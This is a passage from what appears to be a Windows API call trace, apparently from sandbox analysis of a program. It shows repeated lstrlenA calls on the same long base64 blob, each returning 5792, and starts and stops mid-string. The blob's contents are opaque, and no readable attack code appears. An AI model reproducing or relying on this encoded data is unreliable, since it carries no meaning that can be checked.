dhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.357] lstrlenA (lpString="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") returned 5792 [0128.357] lstrlenA (lpString="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") returned 5792 [0128.357] lstrlenA (lpString="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